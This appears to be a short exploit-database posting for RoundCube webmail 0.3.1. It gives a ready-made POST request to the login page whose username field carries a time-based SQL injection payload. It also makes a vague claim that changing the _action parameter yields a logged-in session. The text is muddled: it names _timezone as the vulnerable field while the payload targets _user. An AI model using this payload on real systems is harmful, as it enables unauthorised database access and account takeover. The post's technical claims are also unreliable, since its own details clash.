29 lines
No EOL
797 B
Text
29 lines
No EOL
797 B
Text
# Exploit Title: RoundCube 0.3.1 SQL injection
|
|
# Date: 10/10/2011
|
|
# Author: Smith Falcon
|
|
# Software Link: http://roundcube.net/download
|
|
# Version: 0.3.1
|
|
# Tested on: Linux
|
|
|
|
_timezone=
|
|
is vulnerable to SQL Union Injection.
|
|
|
|
"POST" data in
|
|
|
|
http://site.com/roundcube/index.php
|
|
|
|
_pass=FrAmE30.&_url=_task=mail&_timezone=_default_&_token=cd5bf19253710dfd569f09bfab862ab3&_action=login&_user=1'+or+BENCHMARK(2500000%2CMD5(1))+or+'1'='1"
|
|
|
|
|
|
XRF vulnerable [ POC ]
|
|
|
|
POST variable
|
|
|
|
changing variable _action=login to "_action=anything" shows you the site is
|
|
vulnerable to XRF attacks. When you replay it with HTTP Live headers, you
|
|
see a logged in URL which shows the roundcube 0.3.1 is vulnerable to XRF
|
|
attacks. Successful tampering will lead to username compromising.
|
|
|
|
_action=loggedin
|
|
|
|
Credits - iqZer0 |